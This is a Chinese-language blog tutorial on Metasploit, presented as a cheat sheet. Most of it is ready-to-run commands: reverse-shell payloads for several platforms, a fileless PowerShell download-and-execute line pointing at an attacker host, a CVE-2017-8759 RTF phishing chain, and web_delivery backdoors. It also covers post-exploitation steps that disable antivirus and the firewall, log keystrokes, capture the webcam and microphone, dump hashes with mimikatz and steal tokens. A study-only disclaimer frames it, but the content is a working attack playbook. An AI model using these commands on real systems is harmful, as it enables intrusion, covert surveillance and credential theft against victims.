博主根據(jù)日后學(xué)習(xí)會不斷更新文章,后續(xù)用到新的功能會不定時更新。
以下內(nèi)容只供學(xué)習(xí)使用,請勿違法使用!
目錄
一、常用指令
二、監(jiān)聽模塊
2.1 防止假session
2.2 實現(xiàn)后臺持續(xù)監(jiān)聽
三、msfvenom(payload生成模塊)
3.1 參數(shù)介紹
3.2 常用指令
3.3 payload?生成
3.3.1 Linux
3.3.2 Windows
3.3.3 Mac
3.3.4 Android
3.4 payload 可持續(xù)化
3.5 腳本 payload 生成
3.5.1 Powershell
3.6 Powershell 配合 msf 無文件攻擊
3.7 msf 宏釣魚攻擊
3.8 multi/script/web_delivery 模塊
3.8.1 實例
3.9 建立隧道通過公網(wǎng)后門連接
四、后滲透模塊
4.1 常用模塊
一、常用指令
msfconsole: 啟動msf
use: 引用msf模塊 // use 模塊名
search: 搜索模塊
show: 查看選項 //當進入模塊可是使用show option查看模塊需要的參數(shù)選項,使用show targets和show payloads可查看target和payload選項參數(shù)
set: 設(shè)置選項參數(shù)
session: 操作msf session會話命令
session -i id: 使用該session
session -l: 列出所有session id
如果需要退出刪除session會話可以使用session -k 會話號,同樣使用-K可以刪除全部session會話
jobs: 查看msf后臺監(jiān)聽選項
jobs -K: 刪除全部監(jiān)聽
jobs -k 監(jiān)聽id: 刪除指定監(jiān)聽
其他命令: cd, pwd, ls等等就等同于終端命令大部分都可以直接使用
二、監(jiān)聽模塊
2.1 防止假session
實戰(zhàn)中,經(jīng)常會遇到假session或者剛連接就斷開的情況,這里需要補充一些監(jiān)聽參數(shù),防止假死或假session
msf6 exploit(multi/handler) > set ExitOnSession false
可以在接收到session后繼續(xù)監(jiān)聽端口,保持偵聽
2.2 實現(xiàn)后臺持續(xù)監(jiān)聽
方法一:
msf6 exploit(multi/handler) >exploit -j -z
使用exploit -j -z 可以在后臺持續(xù)監(jiān)聽,-j為后臺任務(wù),-z為持續(xù)監(jiān)聽
方法二:
msf6 > handler -H 192.168.1.1 -P 1122 -p windows/meterpreter/reverse_tcp
使用jobs命令查看和管理后臺任務(wù),jobs -K可結(jié)束所有任務(wù),jobs -k 任務(wù)號 結(jié)束指定監(jiān)聽
三、msfvenom(payload生成模塊)
? ?新版本中,msfwenom是老版本msfpayload和mafencode的結(jié)合體,用于創(chuàng)建后門程序,建立會話連接。
3.1 參數(shù)介紹
-l, --list <type> 列出指定模塊的所有可用資源,包括:payloads,encodes,nops,all
-p, --payload <payload> 指定所需要使用的payload,也可以使用自定義payload,幾乎支持全平臺
-f, --format <format> 指定輸出格式
-e, --encoder <encoder> 指定需要使用的encode,指定需要使用的編碼
-a, --arch <arch> 指定payload的目標架構(gòu),例如x86|x64|x86_64
--platform <platform> 指定payload的目標平臺
-o, --out <path> 指定創(chuàng)建好的payload存放位置
-b, --bad-chars <list> 設(shè)置規(guī)避字符集,指定需要過濾的壞字符例如:不使用'\x0f','\x00'
-n, --nopsled <length> 為payload預(yù)先指定一個NOP滑動長度
-s, --space <length> 指定有效攻擊和在的最大長度,就是文件的大小
-i, --iterations<count> 指定payload的編碼次數(shù)
-c, --add-code <path> 指定一個附加的win32shellcode文件
-x, --template <path> 指定一個自定義的可執(zhí)行文件作為模版,并將payload嵌入其中
-k, --keep 保護模版程序的動作,注入的payload作為一個新的進程運行
-v, --var-name <value> 指定一個自定義的變量,以確定輸出格式
-t, --timeout <second> 從STDIN讀取負載時等待的秒數(shù)(默認值為30,0表示禁用)
--shellest 最小化生成payload
-h, --help 幫助
--help-formats 查看msf支持的輸出格式列表
3.2 常用指令
msfvenom --list payloads 查看所有的payload,可以簡寫 -lp
msfvenom --list encoders 查看所有編碼器,同樣可以簡寫 -le
background: 掛起退出不結(jié)束遠控
run vnc: vnc遠程監(jiān)視,修改配置可以實現(xiàn)遠程監(jiān)視和遠程操作
getuid: 獲取系統(tǒng)uid
getsystem: 獲取system權(quán)限
3.3 payload?生成
? 指定的LHOST,LPORT均為攻擊者主機監(jiān)聽的IP和端口,可以不使用-o進行指定輸出,直接使用>一樣可以輸出后門文件。
3.3.1 Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=1122 -f elf > shell.elf
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=1122 -a x86 --platform Linux -f elf > shell.elf
3.3.2 Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=1122 -f exe > shell.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=1122 -f exe > shell.exe
3.3.3 Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=192.168.1.1 LPORT=1122 -f macho > shell.macho
3.3.4 Android
msfvenom -a dalvik -p android/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=1122 -f raw > shell.apk
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=1122 R > shell.apk
3.4 payload 可持續(xù)化
一般來說使用msfvenom生成的payload會單獨開啟一個進程,這種進程很容易被發(fā)現(xiàn)和關(guān)閉,在后期想要做持久化的時候只能再使用migrate進行。
在生成payload時候可以直接使用一下命令,將payload直接注入到指定進程中。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=1122 -e x86/shikata_ga_nai -b "\x00" -i 5 -a x86 --platform win PrependMigrate=true PrependMigrateProc=svchost.exe -f exe -o shell.exe
解釋:
p: 指定payload模塊
LHOST LPORT: 指定監(jiān)聽的主機IP和端口
e i: 指定編碼格式和編碼次數(shù)
b: 指定壞字符
a: 指定目標架構(gòu)
platform: 指定操作系統(tǒng)
PrependMigrate=true: 指定進程遷移
PrependMigrateProc=svchost.exe: 指定遷移的進程名稱
f: 指定文件格式
o: 指定保存名默認保存當前目錄
執(zhí)行這個生成的payload需要滿足第一系統(tǒng)權(quán)限可以對進行進行遷移,第二知道進程名稱
3.5 腳本 payload 生成
3.5.1 Powershell
msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=192.168.1.1 LPORT=1122 -e cmd/powershell_base64 -i 3 -f raw -o shell.ps1
3.6 Powershell 配合 msf 無文件攻擊
生成ps腳本:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=1122 -f psh-reflection > x.ps1
設(shè)置監(jiān)聽:
handler -H 192.168.1.2 -P 1122 -p windows/x64/meterpreter/reverse_tcp
客戶端運行即可連接
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.4/x.ps1')
注意:該功能配合釣魚文件,或者getshell后才可利用
3.7 msf 宏釣魚攻擊
// 使用環(huán)境
// 攻擊主機:ubuntu 安裝有msf
// 目標主機:windows7
1、提前下載生成釣魚文件的腳本
https://github.com/bhdresh/CVE-2017-8759.git
2、在當前目錄生成 lnvoice.rtf釣魚文件
python2 cve-2017-8759_toolkit.py -M gen -w lnvoice.rtf -u http://10.1.101.3/logo.txt
3、在在當前文件夾使用msf生成木馬文件
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.1.101.3 LPORT=1122 -f exe > shell.exe
4、msf和python釣魚腳本同時開啟監(jiān)聽
python釣魚腳本開啟監(jiān)聽 //監(jiān)聽為本級80端口需提前排查是否被占用
python2 cve-2017-8759_toolkit.py -M exp -e http://10.1.101.3/shell.exe -l shell.exe
msf開啟監(jiān)聽
handler -H 10.1.101.3 -P 1122 -p windows/x64/meterpreter/reverse_tcp
5、目標主機運行invoice.rtf即可在msf看到主機成功上線
注意:
生成的文件均在同一目錄,使用的python環(huán)境為python2,只是提供學(xué)習(xí),目前該釣魚文件運行會被系統(tǒng)攔截,需要提前關(guān)閉防火墻,如果成功上線主機,可以使用進程遷移,遷移到指定進程,避免文件關(guān)閉session會話關(guān)閉。
3.8 multi/script/web_delivery 模塊
? 該模塊為腳本后門模塊,可以做釣魚使用,生成的為腳本命令,屬于無文件后門。
- 模塊引用:
// 可以通過search搜索然后use引用也可以直接輸入全程urs引用 search web_delivery use 1
- 設(shè)置參數(shù):需要設(shè)置LHOST、LPORT、payloads、targets
// 使用show命令進行查看選項可以配置的參數(shù) 配置LHOST(攻擊者IP): set lhost 192.168.3.179 配置LPOER(攻擊者prot): set lport 1122 配置payloads(攻擊的方式): set payload windows/meterpreter/reverse_tcp 配置targets(攻擊使用的命令類型): show targets 選擇執(zhí)行的方式改種payload支持:PHP、PSH、Regsvr3等方式 set target 6 設(shè)置target 設(shè)置完成后直接使用run生成后門命令 msf設(shè)置監(jiān)聽: handler -H 192.168.3.179 -P 1122 -p windows/meterpreter/reverse_tcp 目標主機運行命令即可上線
3.8.1 實例
1、window生成powershell命令上線
設(shè)置主機以及端口處省略
設(shè)置payload: set payload windows/meterpreter/reverse_tcp
設(shè)置target: show targets、set target 6 //此時6代表的是:PSH (Binary)
設(shè)置完成直接run,使用jobs可以看到本地已經(jīng)在監(jiān)聽當前設(shè)置的端口,在目標主機運行即可上線
2、windows Regsvr32命令上線主機
設(shè)置主機以及端口處省略
設(shè)置payload: set payload windows/meterpreter/reverse_tcp
設(shè)置target: show targets、set target 3 //此時3代表的是:Regsvr32
設(shè)置完成直接run,使用jobs可以看到本地已經(jīng)在監(jiān)聽當前設(shè)置的端口,在目標主機運行即可上線
3、php環(huán)境使用php.exe執(zhí)行命令上線 //此時需要另外一個php payload
設(shè)置主機以及端口處省略
設(shè)置payload: set payload php/meterpreter/reverse_tcp
設(shè)置target: show targets、set target 1 //此時1代表的是:PHP
設(shè)置完成直接run,使用jobs可以看到本地已經(jīng)在監(jiān)聽當前設(shè)置的端口,在目標主機運行即可上線
// 更改模塊需要從新開啟另一個監(jiān)聽,注意端口不可以重復(fù)需要修改端口
// 如果設(shè)置好payload執(zhí)行失敗,需要更該payload為x64,從新按照以上步驟執(zhí)行
// set payload windows/x64/meterpreter/reverse_tcp
3.9 建立隧道通過公網(wǎng)后門連接
? 此時需要借助網(wǎng)址:https://ngrok.cc/獲取免費隧道,讓目標主機與網(wǎng)站隧道建立連接然后通過隧道最終與攻擊機建立連接
? 根據(jù)網(wǎng)站介紹自行配置隧道
? 以window 后門為例文章來源:http://www.zghlxwxcb.cn/news/detail-726658.html
啟動隧道: ./sunny clientid 隧道id
直接使用: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=1122 -f exe > shell.exe
LHOST: set LHOST 隧道地址 //可以對獲取的隧道地址進行域名解析填寫IP可以避免域名解析失敗
LPORT: set LPORT 隧道端口
配置監(jiān)聽: handler -H 127.0.0.1 -P 10503 -p windows/meterpreter/reverse_tcp
// 同樣如果執(zhí)行失敗可以更好x64再次嘗試
四、后滲透模塊
? 在msf建立監(jiān)聽連接后,使用session獲取的會話,此時就需要使用后滲透模塊-meterpreter,并不是建立會話后后滲透模塊都可以使用,還需要根據(jù)實際情況目標的操作系統(tǒng)以及獲取的權(quán)限使用。文章來源地址http://www.zghlxwxcb.cn/news/detail-726658.html
4.1 常用模塊
1、獲取系統(tǒng)運行平臺: sysinfo
2、提取系統(tǒng)信息: run scraper
3、查看進行: ps
4、遷移進行: migrate 1774
5、查看文件: cat 文件
6、查看當前路徑: pwd
7、搜索文件: search -d c:\\ -f *.doc
8、其他命令類似于Linux命令: cd, rm, mkdir, rmdir, dir, mv等等
9、上傳文件: upload 本機路徑 上傳目標路徑
10、下載文件: download 目標路徑 本機路徑
11、進程遷移: run post/windows/manage/migrate
12、關(guān)閉殺軟: run post/windows/manage/killav
13、通過shell來關(guān)閉防火墻: netsh advfirewall set allprofiles state off
14、截屏: screenshot
15、查看桌面: run vnc
16、開啟3389: run post/windows/manage/enable_rdp
17、提權(quán)模塊: mult/recon/local_exploit_suggester 設(shè)置過去的session ID
執(zhí)行之后會返回可以提權(quán)的模塊,然后進行調(diào)用,設(shè)置session提權(quán),成功會返回新的會話
18、運行程序: execute -f notepad.exe 加H可以進行隱藏運行
19、攝像頭命令:
音頻錄制: record_mic
查看攝像頭接口: webcam_chat
查看攝像頭列表: webcam_list
攝像頭視頻獲取: webcam_stream
20、端口轉(zhuǎn)發(fā): 作用如果目標機器在內(nèi)網(wǎng)開放3389,外網(wǎng)無法連接,這個時候進行端口轉(zhuǎn)發(fā),利用會話將目標機器3389轉(zhuǎn)發(fā)到本地,實現(xiàn)3389遠程連接
-L: 要監(jiān)聽的本地主機ip(可選)
-h: 幫助
-l: 要監(jiān)聽的本地端口
-p: 要連接到的遠程端口
-r: 要連接的遠程主機ip
portfwd add -l 4444 -p 3389 -r 10.211.55.7 // 把目標機10.211.55.7的3389端口轉(zhuǎn)發(fā)到本機127.0.0.1的4444端口,直接進行連接本機4444端口即可3389遠程連接,同樣如果本地兩臺電腦,另一臺電腦直接遠程訪問開啟4444主機的IP+4444可以直接進行連接,,,,注意端口轉(zhuǎn)發(fā)并不需要高權(quán)限上線就可以直接轉(zhuǎn)發(fā)。
21、鍵盤記錄:
keyscan_start: 開啟鍵盤記錄功能
keyscan_dump: 顯示捕捉的鍵盤記錄信息
keyscan_stop: 停止鍵盤記錄
21、獲取hash值: load mimikatz(32位)load kivi(64位)此時調(diào)用完成就直接可以使用該模塊的命令,但是使用該命令需要擁有系統(tǒng)system權(quán)限,同樣也可以使用hashdump導(dǎo)出
22、盜取身份令牌: use incognito
list_tokens -u: 列出目標主機用戶組可用的令牌,有的話可以直接進行身份切換
list_tokens -g: 列出目標主機用戶組可用的令牌,有的話可以直接進行身份切換
impersonate_token LUCKYXBDC6\luckyx: 切換令牌身份
到了這里,關(guān)于Metasploit (MSF) 使用:包含基本使用、payload生成、后滲透模塊使用的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!